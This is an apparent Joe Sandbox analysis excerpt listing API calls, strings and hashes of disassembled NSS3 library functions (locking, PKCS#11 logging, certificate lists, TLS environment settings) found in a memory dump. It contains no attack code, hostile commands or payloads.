API String ID: 1003633598-791157601
Opcode ID: b505068026958738d75d83c66754837f640baea02a69204196c1e95ca01c2daf
Instruction ID: ffdbec998786e51dc7b02b7e34f5eb39b3f51879c326573235b40fd3292e1486
Opcode Fuzzy Hash: b505068026958738d75d83c66754837f640baea02a69204196c1e95ca01c2daf
Instruction Fuzzy Hash: 8241C935602154AFDF008F54DE8CE9D7BB1AB4730DF658034F50857B12DB359968CBAA

Function 6C662D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C662DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C662E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C662E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C662E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C,?,-00000001,00000000,?), ref: 6C662E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C,?,-00000001,00000000), ref: 6C662E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C662EF8
PR_Unlock.NSS3(?), ref: 6C662F62
TlsGetValue.KERNEL32 ref: 6C662F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C662F9E
PR_Unlock.NSS3(?), ref: 6C662FCA
TlsGetValue.KERNEL32 ref: 6C66301A
EnterCriticalSection.KERNEL32(?), ref: 6C66302E
PR_Unlock.NSS3(?), ref: 6C663066
PR_SetError.NSS3(00000000,00000000), ref: 6C663085
PR_Unlock.NSS3(?), ref: 6C6630EC
TlsGetValue.KERNEL32 ref: 6C66310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C663124
PR_Unlock.NSS3(?), ref: 6C66314C

Part of subcall function 6C649180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C67379E,?,6C649568,00000000,?,6C67379E,?,00000001,?), ref: 6C64918D
Part of subcall function 6C649180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C67379E,?,6C649568,00000000,?,6C67379E,?,00000001,?), ref: 6C6491A0

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

PR_SetError.NSS3(00000000,00000000), ref: 6C66316D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: c1cf36b6e96593276d7f80aeaf24da7e3e64bc378e1ac911ab6b055afafd4fed
Instruction ID: 25cdb527e2f1bc24d5ffbef581f389198904ad4a529885b49fd09665e92161a5
Opcode Fuzzy Hash: c1cf36b6e96593276d7f80aeaf24da7e3e64bc378e1ac911ab6b055afafd4fed
Instruction Fuzzy Hash: A4F18DB1D00209AFDF01DF65D884B9ABBB4FF0A318F144179EC05A7B11E731A995CB96

Function 6C649FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C649FBE

Part of subcall function 6C622F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C622F0A
Part of subcall function 6C622F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C622F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C64A015

Part of subcall function 6C661940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C66563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C66195C
Part of subcall function 6C661940: EnterCriticalSection.KERNEL32(?,?,6C66563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C63EAC5,00000001), ref: 6C661970
Part of subcall function 6C661940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C63EAC5,00000001,?,6C63CE9B,00000001,6C63EAC5), ref: 6C6619A0

PL_FreeArenaPool.NSS3(?), ref: 6C64A067
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C64A055

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64A07E
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C64A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C64A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C64A0CF
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C64A12E
PL_FreeArenaPool.NSS3(?), ref: 6C64A140
PL_FinishArenaPool.NSS3(?), ref: 6C64A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64A158
PL_FinishArenaPool.NSS3(?), ref: 6C64A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C64A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C64A1B2
free.MOZGLUE(00000000), ref: 6C64A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C64A1D6

Part of subcall function 6C6655E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C63EAC5,00000001,?,6C63CE9B,00000001,6C63EAC5,00000003,-00000004,00000000,?,6C63EAC5), ref: 6C665627
Part of subcall function 6C6655E0: PR_CallOnce.NSS3(6C782AA4,6C6812D0,?,?,?,?,?,?,?,?,?,?,6C63EAC5,00000001,?,6C63CE9B), ref: 6C66564F
Part of subcall function 6C6655E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C63EAC5,00000001), ref: 6C665661
Part of subcall function 6C6655E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C63EAC5), ref: 6C6656AF

Strings

security, xrefs: 6C64A00F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: fe39ae38bbffbd34f31a80ad0d443e32f1e8951a54220cac37ca2a7e2190a38b
Instruction ID: dc5f1f477ff4316bf13102ed9fa3bdc46962f817941c90c61dd516a18de98f11
Opcode Fuzzy Hash: fe39ae38bbffbd34f31a80ad0d443e32f1e8951a54220cac37ca2a7e2190a38b
Instruction Fuzzy Hash: 2751F5B5E01209BBEB009AA4DC44BAF7378AF4670DF10C135E905ABB42E775D509C7AE

Function 6C656D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C656D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C656DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C656DC3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C656DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C656DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C656E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C656E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C656E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C656EB9

Strings

C_Digest, xrefs: 6C656D81
ulDataLen = %d, xrefs: 6C656E0E
(CK_INVALID_HANDLE), xrefs: 6C656DBC
nsl, xrefs: 6C656E61, 6C656E95
pDigest = 0x%p, xrefs: 6C656E27
pulDigestLen = 0x%p, xrefs: 6C656E42
*pulDigestLen = 0x%x, xrefs: 6C656EB4
hSession = 0x%x, xrefs: 6C656D9E, 6C656DAE
pData = 0x%p, xrefs: 6C656DF5

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nsl
API String ID: 1003633598-847698986
Opcode ID: eb13c00c02bfb4fcc94a0cd52b759e45eb00d64135d69e4f5ca850947440831e
Instruction ID: dea5aadda938fa0e4bb4399a8f0d40d75c258f4134852ffe3b055f31f9073f97
Opcode Fuzzy Hash: eb13c00c02bfb4fcc94a0cd52b759e45eb00d64135d69e4f5ca850947440831e
Instruction Fuzzy Hash: 0F41D735A02014AFDB009F54DE8DF8A7BB1AB4335DF658034E90897712DB30ED69CB9A

Function 6C659C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C659C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C659C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C659CA3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C659CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C659CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C659CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C659D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C659D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C659D42

Strings

userType = 0x%x, xrefs: 6C659CD5
ulUsernameLen = %d, xrefs: 6C659D3D
C_LoginUser, xrefs: 6C659C61
pUsername = 0x%p, xrefs: 6C659D24
(CK_INVALID_HANDLE), xrefs: 6C659C9C
nsl, xrefs: 6C659D5A, 6C659D91
pPin = 0x%p, xrefs: 6C659CF0
hSession = 0x%x, xrefs: 6C659C7E, 6C659C8E
ulPinLen = %d, xrefs: 6C659D0B

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nsl
API String ID: 1003633598-2613036085
Opcode ID: 6f07c7106a54f3f89be805106800f93287ec2ccbc92f29fff3c1833b9fe6882c
Instruction ID: 243aa723a5a0fad3ba0b60637888fe06eb10194d348ca865a96758b6d2408921
Opcode Fuzzy Hash: 6f07c7106a54f3f89be805106800f93287ec2ccbc92f29fff3c1833b9fe6882c
Instruction Fuzzy Hash: 7B41EA71A02154AFDB00DF54DE8CE9D7BB5EB4330EFA58034E50857712DB309929CBAA

Function 6C664C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C664C4C
EnterCriticalSection.KERNEL32(?), ref: 6C664C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C664CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C664DB7

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

TlsGetValue.KERNEL32 ref: 6C664DD7
EnterCriticalSection.KERNEL32(?), ref: 6C664DEC
PR_Unlock.NSS3(?), ref: 6C664E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C664E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C664E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C664E71
free.MOZGLUE(00000000), ref: 6C664E7A
PR_Unlock.NSS3(?), ref: 6C664EA2
TlsGetValue.KERNEL32 ref: 6C664EC1
EnterCriticalSection.KERNEL32(?), ref: 6C664ED6
PR_Unlock.NSS3(?), ref: 6C664F01
free.MOZGLUE(00000000), ref: 6C664F2A

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 0b6b130eb65bbccdafc0ad90bb29f236dfece1053555c4c6281a0061c0489b2e
Instruction ID: 68374d0582ca3c0c93e742c286f517465d60b472145f01f85129bcac42162441
Opcode Fuzzy Hash: 0b6b130eb65bbccdafc0ad90bb29f236dfece1053555c4c6281a0061c0489b2e
Instruction Fuzzy Hash: 5DB11071A002059FDB01EF29D894BAA77B4BF0A319F144174ED0597F11EB70E961CBEA

Function 6C66FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFB4

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFC6

Part of subcall function 6C6E98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6E9946
Part of subcall function 6C6E98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A16B7,00000000), ref: 6C6E994E
Part of subcall function 6C6E98D0: free.MOZGLUE(00000000), ref: 6C6E995E

PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFD6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFE6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C66FFF6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670006
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670016
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670026
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670036
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670046
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670056
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670066
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670076
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670086
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C670096
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700A6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700B6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700C6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700D6
PR_NewLock.NSS3(?,?,6C6676C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6375C2,00000000), ref: 6C6700E6

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: f84a582f094e9555c63fe188e74755a2ca865322b340a5eeed9c086a99b56c95
Instruction ID: f1f8e10abfaa9bb02b66bf2d306d977852a972c1b4fd1e46e1ce1316f4241968
Opcode Fuzzy Hash: f84a582f094e9555c63fe188e74755a2ca865322b340a5eeed9c086a99b56c95
Instruction Fuzzy Hash: A23146F0E0B7189E8B45DF25C15858A3AF8BB1B60A730493BD72C86B21D7740949CFAD

Function 6C6B6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6B6BF7), ref: 6C6B6EB6

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C75FC0A,6C6B6BF7), ref: 6C6B6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C6B6EFC
PR_NewLock.NSS3 ref: 6C6B6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6B6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C6B6BF7), ref: 6C6B6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C6B6BF7), ref: 6C6B6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C6B6BF7), ref: 6C6B6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C6B6BF7), ref: 6C6B6FFD

Strings

SSLFORCELOCKS, xrefs: 6C6B6F2B
SSLKEYLOGFILE, xrefs: 6C6B6EB1
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C6B6FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C6B6F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C6B6EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C6B6FDB

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 344462dba30e5d3a6263506006ef6e835126958274df71b808151fccdab3b71c
Instruction ID: 8eec938cda0fc777107fedab3b49623a9d5b08a3e88d622078b70d32cda8061f
Opcode Fuzzy Hash: 344462dba30e5d3a6263506006ef6e835126958274df71b808151fccdab3b71c
Instruction Fuzzy Hash: 4FA13D73A5BD908AE710463CCC013C432A6AF5336AF684375EA31D7ED5DB35E4608369

Function 6C635DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C635DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6C635E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6C635E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6C635E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C635EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6C635ED9
SECKEY_SignatureLen.NSS3(?), ref: 6C635F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6C635F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C635F89
free.MOZGLUE(?), ref: 6C635FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C635FB6
free.MOZGLUE(00000000), ref: 6C635FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C63600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C636079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C636084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C636094

Strings

, xrefs: 6C635EEB

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

